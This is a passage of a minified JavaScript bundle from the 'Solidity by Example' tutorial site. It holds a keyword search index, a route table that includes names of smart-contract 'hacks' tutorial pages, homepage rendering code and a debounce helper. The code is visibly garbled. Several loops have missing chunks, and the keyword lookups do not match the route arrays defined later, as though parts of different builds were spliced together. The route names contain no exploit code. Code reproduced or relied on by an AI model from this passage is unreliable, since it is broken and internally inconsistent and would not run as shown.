:wG,signature:kG,signatures:ZG,ecrecover:WG,shadow:BG,shadowing:GG,sending:VG,send:fG,ether:YG,eth:XG,transfer:RG,call:vG,fallback:NG,receive:HG,payable:FG,primitive:KG,primitives:MG,boolean:SG,uint256:xG,int256:JG,address:zG,uint:DG,int:EG,new:["/new-contract","/new-contract"],create:QG,creates:TG,create2:UG,salt:_G,mapping:LG,for:["/loop","/assembly-loop"],loop:OG,loops:PG,while:["/loop","/assembly-loop"],do:["/loop"],library:$G,interface:["/interface"],interfaces:qG,override:sV,virtual:aV,is:nV,import:["/import","/enum"],constant:lV,constants:pV,immutable:eV,immutables:cV,if:["/if-else","/assembly-if"],else:["/if-else"],conditional:tV,statement:oV,statements:rV,hello:iV,world:gV,hash:hV,hashing:IV,keccak256:dV,hack:CV,security:jV,weth:AV,permit:uV,inflation:yV,erc4626:mV,vault:bV,replay:wV,selfdestruct:kV,"re-entrancy":["/hacks/re-entrancy"],source:ZV,random:WV,randomness:BV,blockhash:GV,block:VV,timestamp:fV,phishing:YV,"tx.origin":["/hacks/phishing-with-tx-origin"],arithmetic:XV,honeypot:RV,hide:vV,hiding:NV,malicious:HV,code:FV,front:KV,running:MV,deploy:SV,different:xV,same:JV,denial:zV,service:DV,delegatecall:EV,bypass:QV,size:TV,check:UV,extcodesize:_V,manipulation:LV,access:OV,accessing:PV,golf:$V,selector:qV,selectors:sf,modifier:af,modifiers:nf,_:lf,first:pf,counter:ef,evm:cf,yul:tf,assembly:of,memory:rf,events:gf,advanced:hf,"event-driven":["/events-advanced"],monitoring:If,filtering:df,event:Cf,wei:jf,units:Af,require:uf,revert:yf,assert:mf,enum:["/enum"],imports:bf,defi:wf,uniswap:kf,v3:Zf,swap:Wf,amm:Bf,liquidity:Gf,arbitrage:Vf,flash:ff,loan:Yf,v2:Xf,optimal:Rf,one:vf,sided:Nf,supply:Hf,add:Ff,remove:Kf,staking:Mf,reward:Sf,rewards:xf,curve:Jf,stable:zf,discrete:Df,dai:Ef,proxy:Qf,sum:Tf,product:Uf,chainlink:_f,price:Lf,oracle:Of,oracles:Pf,location:$f,locations:qf,calldata:s1,constructor:a1,constructors:n1,other:l1,bitwise:p1,most:e1,significant:c1,bit:t1,mul:o1,switch:["/assembly-if"],array:r1,arrays:i1,write:g1,any:h1,slot:I1,upgradeable:d1,"uni-directional":["/app/uni-directional-payment-channel"],payment:C1,channel:j1,time:A1,lock:u1,simple:y1,bytecode:m1,multi:b1,sig:w1,wallet:k1,staticcall:Z1,minimal:W1,merkle:B1,tree:G1,iterable:V1,gasless:f1,token:Y1,ERC20:X1,erc721:R1,ierc721:v1,nft:N1,erc20:H1,ierc20:F1,erc1155:K1,ierc1155:M1,english:S1,auction:x1,auctions:J1,dutch:z1,crowd:D1,fund:E1,funding:Q1,precompute:T1,"bi-directional":["/app/bi-directional-payment-channel"],binary:U1,exponentiation:_1,airdrop:L1,abi:O1,encode:P1,bytes:$1,encodeWithSelector:q1,encodeWithSignature:sY,encodeCall:aY,decode:nY},No={"/visibility":["visibility","function","functions","internal","private","public","external"],"/view-and-pure-functions":["view","pure","function","functions"],"/variables":["variable","variables","local","global","state","data"],"/unchecked-math":["gas","unchecked","math","overflow","underflow"],"/try-catch":["try","catch","error","errors"],"/transient-storage":["transient","storage"],"/tests/echidna":["test","echidna"],"/super":["calling","parent","contract","contracts","inheritance","super"],"/structs":["struct","structs","data","type","types","variable","variables"],"/state-variables":["reading","writing","state","variable","variables","app","application"],"/signature":["cryptography","verify","verifying","signature","signatures","ecrecover"],"/shadowing-inherited-state-variables":["state","variables","variable","shadow","shadowing","inheritance"],"/sending-ether":["sending","send","ether","eth","transfer","send","call","fallback","receive","payable","function","functions"],"/primitives":["primitive","primitives","data","type","types","variable","variables","boolean","uint256","int256","address","uint","int"],"/payable":["payable","eth","send","ether"],"/new-contract":["new","contract","create","contracts","creates","new","create2","salt"],"/mapping":["data","variable","variables","mapping"],"/loop":["for","loop","loops","while","do"],"/library":["library"],"/interface":["interface","interfaces","contract","contracts"],"/inheritance":["inheritance","super","override","virtual","is","contract","contracts"],"/import":["import"],"/immutable":["constant","constants","immutable","immutables","data","variable","variables"],"/if-else":["if","else","conditional","statement","statements"],"/hello-world":["contract","app","application","hello","world"],"/hashing":["hash","hashing","function","functions","keccak256","cryptography"],"/hacks/weth-permit":["hack","security","weth","permit"],"/hacks/vault-inflation":["hack","security","inflation","erc4626","vault"],"/hacks/signature-replay":["hack","security","cryptography","signature","replay"],"/hacks/self-destruct":["hack","security","selfdestruct"],"/hacks/re-entrancy":["hack","security","re-entrancy"],"/hacks/randomness":["hack","security","source","random","randomness","blockhash","block","timestamp"],"/hacks/phishing-with-tx-origin":["hack","security","phishing","tx.origin"],"/hacks/overflow":["hack","security","arithmetic","overflow","underflow"],"/hacks/honeypot":["hack","security","honeypot"],"/hacks/hiding-malicious-code-with-external-contract":["hack","security","hide","hiding","malicious","code","external","contract"],"/hacks/front-running":["hack","security","front","running"],"/hacks/deploy-different-contracts-same-address":["hack","security","deploy","salt","create","create2","different","contract","same","address"],"/hacks/denial-of-service":["hack","security","denial","service"],"/hacks/delegatecall":["hack","security","delegatecall"],"/hacks/contract-size":["hack","security","bypass","contract","size","check","extcodesize"],"/hacks/block-timestamp-manipulation":["hack","security","block","timestamp","manipulation"],"/hacks/accessing-private-data":["hack","security","access","accessing","private","data","storage"],"/gas-golf":["gas","golf"],"/gas":["gas"],"/function-selector":["function","functions","selector","selectors"],"/function-modifier":["function","functions","modifier","modifiers","_"],"/function":["function","functions"],"/first-app":["contract","contracts","app","first","application","counter"],"/fallback":["fallback","function","functions","receive","payable","send","ether","eth","transfer"],"/evm/storage":["data","evm","storage","state","variable","yul","assembly"],"/evm/memory":["data","evm","memory","yul","assembly"],"/events-advanced":["events","advanced","event-driven","monitoring","filtering","security"],"/events":["event","events"],"/ether-units":["data","variables","variable","ether","wei","units"],"/error":["error","errors","require","revert","assert"],"/enum":["data","variable","variables","enum","import","imports"],"/delegatecall":["delegatecall","call","contract","contracts","function","functions"],"/defi/vault":["defi","vault"],"/defi/uniswap-v3-swap":["defi","uniswap","v3","swap","amm"],"/defi/uniswap-v3-liquidity":["defi","uniswap","v3","liquidity","amm"],"/defi/uniswap-v3-flash-swap":["defi","uniswap","v3","swap","arbitrage","amm"],"/defi/uniswap-v3-flash":["defi","uniswap","v3","flash","loan","amm"],"/defi/uniswap-v2-optimal-one-sided-supply":["defi","uniswap","v2","optimal","one","sided","supply","amm"],"/defi/uniswap-v2-flash-swap":["defi","uniswap","v2","flash","swap","amm"],"/defi/uniswap-v2-add-remove-liquidity":["defi","uniswap","v2","add","remove","liquidity","amm"],"/defi/uniswap-v2":["defi","uniswap","v2","swap","amm"],"/defi/staking-rewards":["defi","staking","reward","rewards"],"/defi/stable-swap-amm":["defi","curve","stable","swap","amm"],"/defi/discrete-staking-rewards":["defi","discrete","staking","reward","rewards"],"/defi/dai-proxy":["defi","dai","proxy"],"/defi/constant-sum-amm":["defi","constant","sum","amm"],"/defi/constant-product-amm":["defi","constant","product","amm"],"/defi/chainlink-price-oracle":["defi","chainlink","price","oracle","oracles"],"/data-locations":["data","location","locations","storage","memory","calldata"],"/constructor":["constructor","constructors","contract","inheritance"],"/constants":["constant","constants","data","variable","variables"],"/calling-contract":["calling","other","contract","contracts","call","function","functions"],"/call":["contract","contracts","call","function","functions"],"/bitwise":["bitwise","most","significant","bit","assembly"],"/assembly-variable":["assembly","variable","yul"],"/assembly-math":["assembly","yul","math","add","mul"],"/assembly-loop":["assembly","loop","yul","while","for"],"/assembly-if":["assembly","yul","if","switch"],"/assembly-error":["assembly","yul","error","revert"],"/array":["data","variable","variables","array","arrays"],"/app/write-to-any-slot":["app","application","write","any","slot","storage"],"/app/upgradeable-proxy":["app","application","delegatecall","upgradeable","proxy"],"/app/uni-directional-payment-channel":["app","application","uni-directional","payment","channel","signature","cryptography"],"/app/time-lock":["app","application","time","lock"],"/app/simple-bytecode-contract":["app","application","simple","bytecode","contract"],"/app/multi-sig-wallet":["app","application","multi","sig","signature","wallet"],"/app/multi-delegatecall":["app","application","multi","delegatecall"],"/app/multi-call":["app","application","multi","call","staticcall"],"/app/minimal-proxy":["app","application","minimal","proxy","contract"],"/app/merkle-tree":["app","application","merkle","tree","cryptography"],"/app/iterable-mapping":["app","application","mapping","data","iterable"],"/app/gasless-token-transfer":["app","application","gasless","token","transfer","ERC20","permit"],"/app/ether-wallet":["app","application","ether","eth","wallet"],"/app/erc721":["app","application","erc721","ierc721","nft"],"/app/erc20":["app","application","erc20","ierc20","token"],"/app/erc1155":["app","application","erc1155","nft","ierc1155"],"/app/english-auction":["app","application","english","auction","auctions"],"/app/dutch-auction":["app","application","dutch","auction","auctions"],"/app/deploy-any-contract":["app","application","deploy","any","contract"],"/app/crowd-fund":["app","application","crowd","fund","funding"],"/app/create2":["app","application","create2","precompute","contract","address"],"/app/bi-directional-payment-channel":["app","application","bi-directional","payment","channel","signature","cryptography"],"/app/assembly-bin-exp":["assembly","yul","binary","exponentiation","math"],"/app/airdrop":["app","application","merkle","airdrop"],"/abi-encode":["abi","encode","bytes","encodeWithSelector","encodeWithSignature","encodeCall"],"/abi-decode":["abi","decode","bytes"]},gc=[];for(const s of Object.keys(No))gc.push(...No[s]);const Ag={};for(let s=0;s{const I=n.get("q");I!=null&&I.length>0&&(a(I),c(I,!1))},[]);function c(I,d){const j=I.trim();if(j.length==0){e(null),d&&l({q:""});return}const u=lY(j.split(" ")),m={};for(const b of u){const Z=pY(b);for(const h of Z)m[h]=!0}e(m),d&&l({q:j})}const t=NB(I=>c(I,!0),500,[]);function o(I){a(I),t(I)}function i(){return p?Object.keys(p).length==0?r.jsx("div",{children:"No results"}):r.jsx("ul",{className:as.list,children:Cp.filter(({path:I})=>p[I]).map(({path:I,title:d})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:I,children:d})},I))}):r.jsxs(r.Fragment,{children:[ot.map(({routes:I,title:d},j)=>r.jsxs("div",{children:[d&&r.jsx("h3",{className:as.category,children:d}),r.jsx("ul",{className:as.list,children:I.map(({path:u,title:m})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:u,children:m})},u))})]},j)),r.jsxs("div",{children:[r.jsx("h3",{className:as.category,children:"Translations"}),Od.map(({lang:I,url:d})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:d,target:"__blank",children:I})},d))]})]})}return r.jsxs("div",{className:as.component,children:[r.jsx(jg,{title:"Solidity by Example | 0.8.24",description:"Learn smart contract programming using Solidity"}),r.jsx("h1",{className:as.header,children:r.jsx("a",{href:"/",children:"Solidity by Example"})}),r.jsx("div",{className:as.subHeader,children:"v 0.8.24"}),r.jsxs("div",{className:as.main,children:[r.jsxs("p",{children:["Introduction to ",r.jsx("a",{href:"https://solidity.readthedocs.io",children:"Solidity"})," with simple examples"]}),r.jsxs("div",{className:as.youTube,children:[r.jsx("img",{src:Cg,alt:"logo",className:as.youTubeLogo}),r.jsx("a",{href:"https://www.youtube.com/@smartcontractprogrammer",target:"__blank",children:"Most code are explained here"})]}),r.jsxs("div",{className:as.cryptoJobsList,children:[r.jsx(IB,{size:24,className:as.cryptoJobsListLogo}),r.jsx("a",{href:dg,target:"__blank",children:"Looking for Solidity jobs?"})]}),r.jsx("div",{className:as.updates,children:jY.map((I,d)=>r.jsx("div",{children:I},d))}),r.jsx("div",{className:as.search,children:r.jsx(hB,{value:s,onChange:o})}),i()]})]})}const uY=[{path:"/abi-decode",component:DC},{path:"/abi-encode",component:LC},{path:"/app/airdrop",component:aj},{path:"/app/assembly-bin-exp",component:tj},{path:"/app/bi-directional-payment-channel",component:Ij},{path:"/app/create2",component:yj},{path:"/app/crowd-fund",component:Wj},{path:"/app/deploy-any-contract",component:Xj},{path:"/app/dutch-auction",component:Kj},{path:"/app/english-auction",component:Dj},{path:"/app/erc1155",component:Lj},{path:"/app/erc20",component:aA},{path:"/app/erc721",component:tA},{path:"/app/ether-wallet",component:IA},{path:"/app/gasless-token-transfer",component:yA},{path:"/app/iterable-mapping",component:WA},{path:"/app/merkle-tree",component:XA},{path:"/app/minimal-proxy",component:KA},{path:"/app/multi-call",component:DA},{path:"/app/multi-delegatecall",component:LA},{path:"/app/multi-sig-wallet",component:au},{path:"/app/simple-bytecode-contract",component:tu},{path:"/app/time-lock",component:Iu},{path:"/app/uni-directional-payment-channel",component:yu},{path:"/app/upgradeable-proxy",component:Wu},{path:"/app/write-to-any-slot",component:Xu},{path:"/array",component:Ku},{path:"/assembly-error",component:Du},{path:"/assembly-if",component:Lu},{path:"/assembly-loop",component:ay},{path:"/assembly-math",component:ty},{path:"/assembly-variable",component:Iy},{path:"/bitwise",component:yy},{path:"/call",component:Wy},{path:"/calling-contract",component:Xy},{path:"/constants",component:Ky},{path:"/constructor",component:Dy},{path:"/data-locations",component:Ly},{path:"/defi/chainlink-price-oracle",component:am},{path:"/defi/constant-product-amm",component:tm},{path:"/defi/constant-sum-amm",component:Im},{path:"/defi/dai-proxy",component:ym},{path:"/defi/discrete-staking-rewards",component:Wm},{path:"/defi/stable-swap-amm",component:Xm},{path:"/defi/staking-rewards",component:Km},{path:"/defi/uniswap-v2",component:Dm},{path:"/defi/uniswap-v2-add-remove-liquidity",component:Lm},{path:"/defi/uniswap-v2-flash-swap",component:ab},{path:"/defi/uniswap-v2-optimal-one-sided-supply",component:tb},{path:"/defi/uniswap-v3-flash",component:Ib},{path:"/defi/uniswap-v3-flash-swap",component:yb},{path:"/defi/uniswap-v3-liquidity",component:Wb},{path:"/defi/uniswap-v3-swap",component:Xb},{path:"/defi/vault",component:Kb},{path:"/delegatecall",component:Db},{path:"/enum",component:Lb},{path:"/error",component:aw},{path:"/ether-units",component:tw},{path:"/events",component:Iw},{path:"/events-advanced",component:yw},{path:"/evm/memory",component:Ww},{path:"/evm/storage",component:Xw},{path:"/fallback",component:Kw},{path:"/first-app",component:Dw},{path:"/function",component:Lw},{path:"/function-modifier",component:ak},{path:"/function-selector",component:tk},{path:"/gas",component:Ik},{path:"/gas-golf",component:yk},{path:"/hacks/accessing-private-data",component:Wk},{path:"/hacks/block-timestamp-manipulation",component:Xk},{path:"/hacks/contract-size",component:Kk},{path:"/hacks/delegatecall",component:Dk},{path:"/hacks/denial-of-service",component:Lk},{path:"/hacks/deploy-different-contracts-same-address",component:a0},{path:"/hacks/front-running",component:t0},{path:"/hacks/hiding-malicious-code-with-external-contract",component:I0},{path:"/hacks/honeypot",component:y0},{path:"/hacks/overflow",component:W0},{path:"/hacks/phishing-with-tx-origin",component:X0},{path:"/hacks/randomness",component:K0},{path:"/hacks/re-entrancy",component:D0},{path:"/hacks/self-destruct",component:L0},{path:"/hacks/signature-replay",component:aZ},{path:"/hacks/vault-inflation",component:tZ},{path:"/hacks/weth-permit",component:IZ},{path:"/hashing",component:yZ},{path:"/hello-world",component:WZ},{path:"/if-else",component:XZ},{path:"/immutable",component:KZ},{path:"/import",component:DZ},{path:"/inheritance",component:LZ},{path:"/interface",component:aW},{path:"/library",component:tW},{path:"/loop",component:IW},{path:"/mapping",component:yW},{path:"/new-contract",component:WW},{path:"/payable",component:XW},{path:"/primitives",component:KW},{path:"/sending-ether",component:DW},{path:"/shadowing-inherited-state-variables",component:LW},{path:"/signature",component:a2},{path:"/state-variables",component:t2},{path:"/structs",component:I2},{path:"/super",component:y2},{path:"/tests/echidna",component:W2},{path:"/transient-storage",component:X2},{path:"/try-catch",component:K2},{path:"/unchecked-math",component:D2},{path:"/variables",component:L2},{path:"/view-and-pure-functions",component:aB},{path:"/visibility",component:tB},{path:"",component:AY}];var yY={BASE_URL:"/",MODE:"production",DEV:!1,PROD:!0,SSR:!1};function Ho(){const{state:s,init:a}=ct();return B.useLayoutEffect(()=>{a({width:window.document.body.clientWidth})},[]),s.initialized?r.jsx(Sd,{basename:yY.VITE_PUBLIC_URL,children:r.jsx(XC,{children:r.jsx(Hd,{children:uY.map(n=>{const{prev:l,next:p}=pC(n.path);return r.jsx(Ig,{path:n.path,element:Uo.createElement(n.component,{prev:l,next:p})},n.path)})})})}):null}const mY=document.getElementById("root"),bY=qi(mY),Fo=document.getElementById("root");Fo.hasChildNodes()?$i(Fo,r.jsx(bo,{children:r.jsx(Ho,{})})):bY.render(r.jsx(bo,{children:r.jsx(Ho,{})})); +`,hB=({prev:s,next:a})=>r.jsx(A,{version:tB,title:oB,description:rB,html:gB,prev:s,next:a,codes:iB}),IB=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor",width:s,height:s,className:a,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-5.197-5.197m0 0A7.5 7.5 0 105.196 5.196a7.5 7.5 0 0010.607 10.607z"})}),dB="_component_efeb7_1",CB="_icon_efeb7_8",jB="_input_efeb7_12",Ie={component:dB,icon:CB,input:jB},AB=({value:s,onChange:a})=>{function n(l){a(l.target.value)}return r.jsxs("div",{className:Ie.component,children:[r.jsx(IB,{size:18,className:Ie.icon}),r.jsx("input",{className:Ie.input,placeholder:"Search",value:s,onChange:n})]})},uB=({size:s,className:a=""})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 113 113",xmlSpace:"preserve",width:s,height:s,className:a,children:[r.jsx("circle",{cx:56.5,cy:56.5,r:56.5,fill:"#453dff",stroke:"none"}),r.jsx("path",{fill:"#fff",stroke:"none",d:"M68.476 46.383c.454.796 1.36 1.82 2.155 1.82 4.31.227 8.62.113 13.157.113-.567-3.98-2.042-7.392-4.31-10.462-1.361-1.706-1.701-2.957-.34-4.89 1.36-1.82 2.381-4.094 3.63-6.255-3.97-2.274-7.827-4.435-11.797-6.709-1.36 2.274-2.609 4.321-3.743 6.482-.68 1.365-1.36 1.706-2.949 1.478-3.63-.455-7.259-.91-10.888-.682-10.889.682-19.85 7.96-22.798 18.423-3.29 11.94-1.702 22.97 6.805 32.523-1.588 2.843-3.29 5.8-4.99 8.87 4.083 2.275 7.826 4.55 11.795 6.824 1.588-2.73 3.063-5.231 4.424-7.733.68-1.251 1.588-1.365 2.949-1.479 4.65 0 9.3.228 13.724-.682 9.3-1.82 17.354-10.803 18.375-20.128-4.084 0-7.94.113-11.91 0-1.588 0-2.609.455-3.403 1.933-4.537 7.62-15.312 8.87-21.21 2.502-5.557-5.914-5.557-18.764.114-24.677 6.011-6.141 16.56-4.777 21.21 2.729z"})]});var yB="Expected a function",Xo=NaN,mB="[object Symbol]",bB=/^\s+|\s+$/g,wB=/^[-+]0x[0-9a-f]+$/i,kB=/^0b[01]+$/i,ZB=/^0o[0-7]+$/i,WB=parseInt,BB=typeof Il=="object"&&Il&&Il.Object===Object&&Il,GB=typeof self=="object"&&self&&self.Object===Object&&self,VB=BB||GB||Function("return this")(),fB=Object.prototype,YB=fB.toString,XB=Math.max,vB=Math.min,de=function(){return VB.Date.now()};function RB(s,a,n){var l,p,e,c,t,o,i=0,I=!1,d=!1,j=!0;if(typeof s!="function")throw new TypeError(yB);a=vo(a)||0,gc(n)&&(I=!!n.leading,d="maxWait"in n,e=d?XB(vo(n.maxWait)||0,a):e,j="trailing"in n?!!n.trailing:j);function u(k){var G=l,Y=p;return l=p=void 0,i=k,c=s.apply(Y,G),c}function m(k){return i=k,t=setTimeout(h,a),I?u(k):c}function b(k){var G=k-o,Y=k-i,x=a-G;return d?vB(x,e-Y):x}function B(k){var G=k-o,Y=k-i;return o===void 0||G>=a||G<0||d&&Y>=e}function h(){var k=de();if(B(k))return g(k);t=setTimeout(h,b(k))}function g(k){return t=void 0,j&&l?u(k):(l=p=void 0,c)}function C(){t!==void 0&&clearTimeout(t),i=0,l=o=p=t=void 0}function y(){return t===void 0?c:g(de())}function Z(){var k=de(),G=B(k);if(l=arguments,p=this,o=k,G){if(t===void 0)return m(o);if(d)return t=setTimeout(h,a),u(o)}return t===void 0&&(t=setTimeout(h,a)),c}return Z.cancel=C,Z.flush=y,Z}function gc(s){var a=typeof s;return!!s&&(a=="object"||a=="function")}function NB(s){return!!s&&typeof s=="object"}function HB(s){return typeof s=="symbol"||NB(s)&&YB.call(s)==mB}function vo(s){if(typeof s=="number")return s;if(HB(s))return Xo;if(gc(s)){var a=typeof s.valueOf=="function"?s.valueOf():s;s=gc(a)?a+"":a}if(typeof s!="string")return s===0?s:+s;s=s.replace(bB,"");var n=kB.test(s);return n||ZB.test(s)?WB(s.slice(2),n?2:8):wB.test(s)?Xo:+s}var KB=RB;const FB=Fo(KB),MB={leading:!1,trailing:!0};function SB(s,a,n){return W.useCallback(FB(s,a,MB),n)}function xB(s,a){let n=s;for(let l=0;l0;){const[e,c,t]=a.pop();p&&(l=l.slice(0,c-1),p=!1),l+=e;const o=Object.keys(t);if(o.length>0)for(let i=0;ia+p)}const DB=["/visibility"],EB=["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],QB=["/visibility"],TB=["/visibility","/hacks/hiding-malicious-code-with-external-contract"],UB=["/view-and-pure-functions"],_B=["/view-and-pure-functions"],LB=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/evm/storage","/ether-units","/enum","/constants","/assembly-variable","/array"],OB=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/ether-units","/enum","/constants","/array"],PB=["/variables"],$B=["/variables"],qB=["/variables","/state-variables","/shadowing-inherited-state-variables","/evm/storage"],sG=["/variables","/user-defined-value-types","/structs","/primitives","/mapping","/immutable","/hacks/accessing-private-data","/evm/storage","/evm/memory","/ether-units","/enum","/data-locations","/constants","/array","/app/iterable-mapping"],aG=["/user-defined-value-types"],nG=["/user-defined-value-types"],lG=["/user-defined-value-types"],pG=["/user-defined-value-types","/structs","/primitives"],eG=["/user-defined-value-types"],cG=["/unchecked-math","/gas-golf","/gas"],tG=["/unchecked-math"],oG=["/unchecked-math","/assembly-math","/app/assembly-bin-exp"],rG=["/unchecked-math","/hacks/overflow"],iG=["/unchecked-math","/hacks/overflow"],gG=["/try-catch","/error","/assembly-error"],hG=["/try-catch","/error"],IG=["/transient-storage"],dG=["/transient-storage","/hacks/accessing-private-data","/evm/storage","/data-locations","/app/write-to-any-slot"],CG=["/tests/echidna"],jG=["/tests/echidna"],AG=["/super","/calling-contract"],uG=["/super"],yG=["/super","/new-contract","/interface","/inheritance","/hello-world","/hacks/hiding-malicious-code-with-external-contract","/hacks/deploy-different-contracts-same-address","/hacks/contract-size","/first-app","/delegatecall","/constructor","/calling-contract","/call","/app/simple-bytecode-contract","/app/minimal-proxy","/app/deploy-any-contract","/app/create2"],mG=["/super","/new-contract","/interface","/inheritance","/first-app","/delegatecall","/calling-contract","/call"],bG=["/super","/shadowing-inherited-state-variables","/inheritance","/constructor"],wG=["/structs"],kG=["/structs"],ZG=["/structs","/primitives"],WG=["/state-variables"],BG=["/state-variables"],GG=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel","/app/airdrop"],VG=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel","/app/airdrop"],fG=["/signature","/hashing","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/merkle-tree","/app/bi-directional-payment-channel"],YG=["/signature"],XG=["/signature"],vG=["/signature","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/multi-sig-wallet","/app/bi-directional-payment-channel"],RG=["/signature"],NG=["/signature"],HG=["/shadowing-inherited-state-variables"],KG=["/shadowing-inherited-state-variables"],FG=["/sending-ether"],MG=["/sending-ether","/sending-ether","/payable","/fallback"],SG=["/sending-ether","/payable","/fallback","/ether-units","/app/ether-wallet"],xG=["/sending-ether","/payable","/fallback","/app/ether-wallet"],JG=["/sending-ether","/fallback","/app/gasless-token-transfer"],zG=["/sending-ether","/delegatecall","/calling-contract","/call","/app/multi-call"],DG=["/sending-ether","/fallback"],EG=["/sending-ether","/fallback"],QG=["/sending-ether","/payable","/fallback"],TG=["/primitives"],UG=["/primitives"],_G=["/primitives"],LG=["/primitives"],OG=["/primitives"],PG=["/primitives","/hacks/deploy-different-contracts-same-address","/app/create2"],$G=["/primitives"],qG=["/primitives"],sV=["/new-contract","/hacks/deploy-different-contracts-same-address"],aV=["/new-contract"],nV=["/new-contract","/hacks/deploy-different-contracts-same-address","/app/create2"],lV=["/new-contract","/hacks/deploy-different-contracts-same-address"],pV=["/mapping","/app/iterable-mapping"],eV=["/loop","/assembly-loop"],cV=["/loop"],tV=["/library"],oV=["/interface"],rV=["/inheritance"],iV=["/inheritance"],gV=["/inheritance"],hV=["/immutable","/defi/constant-sum-amm","/defi/constant-product-amm","/constants"],IV=["/immutable","/constants"],dV=["/immutable"],CV=["/immutable"],jV=["/if-else"],AV=["/if-else"],uV=["/if-else"],yV=["/hello-world"],mV=["/hello-world"],bV=["/hashing"],wV=["/hashing"],kV=["/hashing"],ZV=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data"],WV=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data","/events-advanced"],BV=["/hacks/weth-permit"],GV=["/hacks/weth-permit","/app/gasless-token-transfer"],VV=["/hacks/vault-inflation"],fV=["/hacks/vault-inflation"],YV=["/hacks/vault-inflation","/defi/vault"],XV=["/hacks/signature-replay"],vV=["/hacks/self-destruct"],RV=["/hacks/randomness"],NV=["/hacks/randomness"],HV=["/hacks/randomness"],KV=["/hacks/randomness"],FV=["/hacks/randomness","/hacks/block-timestamp-manipulation"],MV=["/hacks/randomness","/hacks/block-timestamp-manipulation"],SV=["/hacks/phishing-with-tx-origin"],xV=["/hacks/overflow"],JV=["/hacks/honeypot"],zV=["/hacks/hiding-malicious-code-with-external-contract"],DV=["/hacks/hiding-malicious-code-with-external-contract"],EV=["/hacks/hiding-malicious-code-with-external-contract"],QV=["/hacks/hiding-malicious-code-with-external-contract"],TV=["/hacks/front-running"],UV=["/hacks/front-running"],_V=["/hacks/deploy-different-contracts-same-address","/app/deploy-any-contract"],LV=["/hacks/deploy-different-contracts-same-address"],OV=["/hacks/deploy-different-contracts-same-address"],PV=["/hacks/denial-of-service"],$V=["/hacks/denial-of-service"],qV=["/hacks/delegatecall","/delegatecall","/app/upgradeable-proxy","/app/multi-delegatecall"],sf=["/hacks/contract-size"],af=["/hacks/contract-size"],nf=["/hacks/contract-size"],lf=["/hacks/contract-size"],pf=["/hacks/block-timestamp-manipulation"],ef=["/hacks/accessing-private-data"],cf=["/hacks/accessing-private-data"],tf=["/gas-golf"],of=["/function-selector"],rf=["/function-selector"],gf=["/function-modifier"],hf=["/function-modifier"],If=["/function-modifier"],df=["/first-app"],Cf=["/first-app"],jf=["/evm/storage","/evm/memory"],Af=["/evm/storage","/evm/memory","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],uf=["/evm/storage","/evm/memory","/bitwise","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],yf=["/evm/memory","/data-locations"],mf=["/events-advanced","/events"],bf=["/events-advanced"],wf=["/events-advanced"],kf=["/events-advanced"],Zf=["/events"],Wf=["/ether-units"],Bf=["/ether-units"],Gf=["/error"],Vf=["/error","/assembly-error"],ff=["/error"],Yf=["/enum"],Xf=["/defi/vault","/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/staking-rewards","/defi/stable-swap-amm","/defi/discrete-staking-rewards","/defi/dai-proxy","/defi/constant-sum-amm","/defi/constant-product-amm","/defi/chainlink-price-oracle"],vf=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"]